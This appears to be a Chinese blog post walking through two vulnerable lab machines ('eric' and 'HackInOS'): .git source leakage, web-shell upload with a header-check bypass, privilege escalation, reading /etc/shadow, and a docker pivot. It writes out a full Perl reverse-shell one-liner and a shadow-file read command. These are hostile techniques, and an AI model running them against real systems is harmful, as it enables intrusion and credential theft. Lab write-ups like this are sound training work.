内容简介:哈喽大家好!爱写靶机实战的文章的我又又来啦,最近靶机更新的有点多,小弟库存有点多,这篇写的2个靶机writeup,第一个靶机小弟拿到root_shell花了20分钟,你哪?哈哈哈….第二个靶机就比较有意思了,设计的很赞。建议大家看看。eric靶机:
前言
哈喽大家好!爱写靶机实战的文章的我又又来啦,最近靶机更新的有点多,小弟库存有点多,这篇写的2个靶机writeup,第一个靶机小弟拿到root_shell花了20分钟,你哪?哈哈哈….第二个靶机就比较有意思了,设计的很赞。建议大家看看。
靶机下载/安装
eric靶机: https://pan.baidu.com/s/1K8oNsUstcHjc5lg7x0Yixw
提取码:2nv9
HackInOS靶机: https://pan.baidu.com/s/17jXHtM-bePjChNolSx9hpw
提取码: ywzb
实战
eric靶机
靶机IP:172.16.24.91
下面老规矩我们用nmap开路
可以看到它开放了80端口,
可以看到上面的提示,说博客还没开发好。。。
那我们使用目录猜解 工具 跑一下吧。。。
看到了admin.php,我们访问一下看看
可以看到一个非常简单的登陆界面。。。 小伙伴们是不是准备要爆破?哈哈哈 其实不建议这么做,因为密码你肯定不可能爆破出来。。。
那么下一步我们怎么办呢?小弟这里就重新开启nmap,加上一些命令再跑一遍。。
如图:
可以看到有突破口了,/.git 这个相信大家都比较熟悉,平时真实工作中可能也能碰到,我们就不做废话了,直接使用lijiejie大神写的工具来完成吧。下载地址:
https://github.com/lijiejie/GitHack
可以看到成功拿到了 admin.php 文件,我们查看一下该源码
我们拿到了账号密码: admin – st@mpch0rdt.ightiRu $glo0mappL3
(密码这样的怎么破解。。。。捂脸表情)
直接登陆吧
然后就上传shell,在/upload 目录下拿访问shell
下一步就是反弹 shell 提权了
因为本靶机没有安装python,但是它安装了perl,
所以本次使用 perl 命令为:
perl -e 'use Socket;$i="172.16.24.81";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
然后我们拿到一个正常美观的shell,并且拿到了第一个flag,
下面我们就开始提权吧,通过上图可以看到/home/eric/目录下有backup.zip、backup.sh 2个敏感文件,且backup.sh 程序为root权限,我们还有权限修改。。我们先看一下该程序是做什么工作的,跟谈恋爱一样的 至少要了解人家是做什么工作的漂亮不漂亮 对吧,后期在扒人家。。。 呸 是后期再慢慢相互接触了解对吧,如图:
可以看到这里的代码很简单,就是压缩打包我们的网站目录。。。这样套路我们就不用怀疑了,直接修改该sh文件然后静静等待让它上来自己动就行了。。
如图:
注:小弟我这里当时试了很多命令,均都是连上后没办法操作或者连上就断了,最后使用的命令是 msf 生产sh文件完成的
具体操作如下截图:
最后我们就是静静地等待。。。。
来啊 快活啊,反正有….
成功拿到root-flag,该靶机还是比较简单的
本靶机完!
HackInOS靶机
靶机IP:172.16.24.71
这个靶机挺不错的,小伙伴们可以先不看文章教程,自己先搞一下试试。
老规矩nmap开路,
可以看到8000端口,使用了http服务,采用Wordpress搭建的。
下面nmap 也给我列出来/robots.txt 下的内容,小弟为了节省文章篇幅,就不截目录猜解的结果了,我们把目光放在 /upload.php 下
如上图,随意上传一个php,无法成功,给了我们一个笑脸….
然后习惯性右击查看源码,如图:
什么都没有。。。然后小弟就打开burp,准备看能不能饶过,结果发现了这个。。。
wtf?? 原来是写在了最后。。。 一下子粗心没下拉到最后…..
然后我们跟进这个GitHub项目看看,发现了该 php 上传点的源码
我们先来看一下该程序的判断规则是判断文件头,这里就比较简单了,在PHP马头部,加上 “GIF98” 即可绕过,成功上传。如图:
但是我们访问/upload/shell名字 却没有?为什么呢?
其实大家不知道有没有注意到上面源码中的第18、20行代码呢?可以看到程序对我们上传的shell名字然后加上1-100的数字,在进行md5 加密储存。。。。
那怎么办呢?我们就写 python 脚本吧,如图:
运行该程序后,我们就得到了一个shell名字+1-100数字合并并md5加密的字典列表,如图:
下一步我们继续上传一个shell(注:这里有2点需要说明,1. /upload目录下的文件上传成功后会很快被清除;2.这里我自己平时用的大马shell上传成功后,输入密码无法登陆无法正常使用)
所以小弟这次使用的是 weevely 生成的php马
下一步我们使用目录猜解工具,跑一下
后面使用weevely链接这个shell
成功后,我快速切换到网站根目录下上传了一个图形化的shell大马
下一步就是正常反弹shell提权了,
我们上传提权脚本,发现了这个
下面我们使用命令 tail -c1G /etc/shadow 拿到了root密码
下一步我们破解一下这个密文
得到root密码:john ,我们直接切换root,如图:
小伙伴们肯定以为到这里就结束了?哈哈哈哈 还没呢。。。革命还未完成,同志们还得继续努力啊,那我们继续找找翻翻看有没有什么突破口吧
继续继续
172.18.0.x 网段???
OK 我们先使用msf拿到一个反弹shell吧,操作如图:
下面复制这段代码,在root-shell 下运行,如图:
下一步添加上路由,探测一下该网段的情况吧
可以看到172.18.0.2 端口开放了 3306 mysql 服务,我们找一下网站的账号密码看能不能登陆,如图:
成功登陆,我们继续看看
成功拿到md5密文,下一步就是破解该密文了,
下面我们登陆ssh 账号密码:hummingbirdscyber – 123456
成功登陆,下面我们继续探索。。。。
发现了docker?记得前面用提权脚本探测时,也发现了 docker 的身影,如图:
我们看一下docker的运行情况
下面我们直接以root身份,运行该docker虚拟机吧
成功登陆,最后就是拿flag了
结语
第一个靶机中的/.git/ 在实际工作中还是有碰到的,可能有些小伙伴会直接忽略,相信看了这篇文章,下次碰到应该也知道怎么利用了,第二个靶机个人觉得还是挺不错的,特别是flag放在docker环境下还是挺骚的。不一定以后ctf比赛中不一定会出现这种类似的情况哦。。哈哈哈哈!! 最后祝您及家人身体健康,感谢观看!
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Building Web Reputation Systems
Randy Farmer、Bryce Glass / Yahoo Press / 2010 / GBP 31.99
What do Amazon's product reviews, eBay's feedback score system, Slashdot's Karma System, and Xbox Live's Achievements have in common? They're all examples of successful reputation systems that enable ......一起来看看 《Building Web Reputation Systems》 这本书的介绍吧!